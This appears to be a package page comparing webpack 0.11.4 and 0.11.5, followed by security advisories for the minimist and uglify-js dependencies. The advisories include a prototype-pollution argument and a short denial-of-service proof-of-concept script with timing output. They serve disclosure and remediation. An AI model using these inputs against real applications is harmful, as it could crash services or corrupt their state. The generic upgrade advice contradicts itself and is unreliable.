Webpack versions 0.11.4 and 0.11.5 are closely related iterations of the popular module bundler, primarily designed for browser-based JavaScript applications. Both versions share the same core functionality, offering CommonJs/AMD/Labeled Modules support, code splitting for on-demand loading, and loaders for preprocessing diverse file types like JSON, Jade, CoffeeScript, CSS, and Less. Their dependency structures are identical, relying on modules like async, clone, esprima, uglify-js, and enhanced-resolve for core operations. Developer tooling remains consistent, with mocha and should for testing, express for server-side functionality, and various loaders to facilitate the integration of different asset types within the webpack ecosystem.
The key difference lies in the release date. Version 0.11.5 was published shortly after 0.11.4, suggesting that the change might be related to bug fixes or minor enhancements. Developers considering upgrading from 0.11.4 to 0.11.5 should not expect significant feature additions. It is worth checking the changelog for specific details regarding addressed issues or subtle improvements made in the newer version. Given the similarities, the decision to upgrade depends on the project's need for these specific fixes or potential performance enhancements. Considering the short time frame between releases, it's advisable to prioritize stability; therefore, it is generally recommended to proceed with an upgrade to the latest version in this case.
All the vulnerabilities related to the version 0.11.5 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.